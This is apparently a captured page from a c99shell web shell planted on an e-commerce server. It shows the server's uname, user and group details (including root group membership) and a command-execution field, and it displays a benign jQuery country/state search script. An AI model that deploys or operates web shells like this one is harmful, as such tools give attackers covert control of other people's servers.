Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/ecom1.picotech.app/public_html_ecom1/public/dist/js/custom/ drwxr-xr-x |
Viewing file: Select action/file-type: 'use strict'; var countrySearch = ''; var stateSearch = ''; $(document).on('input', '.geolocale-country', function() { if ($(this).val() != '' && $(this).val() != '*' && countrySearch != $(this).val().charAt(0)) { countrySearch = $(this).val().charAt(0); $('#country-list').find('option').remove(); $.ajax({ url: ADMIN_SITE_URL + '/country-search/' + countrySearch, type: 'GET', success: function (data) { for (const key in data) { $('#country-list').append(` <option value="${data[key].code}">${data[key].name} (${data[key].code})</option> `) } } }); } }) $(document).on('input', '.geolocale-state', function() { if ($(this).val() != '' && $(this).val() != '*' && stateSearch != $(this).val().charAt(0)) { var countryCode = $(this).closest('tr').find('.geolocale-country').val(); stateSearch = $(this).val().charAt(0); var url = ADMIN_SITE_URL + '/state-search/' + stateSearch; if (countryCode != '' && countryCode != '*') { url = url + '/' + countryCode; } $('#state-list').find('option').remove(); $.ajax({ url: url, type: 'GET', success: function (data) { for (const key in data) { $('#state-list').append(` <option value="${data[key].code}">${data[key].name} (${data[key].code})</option> `) } } }); } }) |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]-- |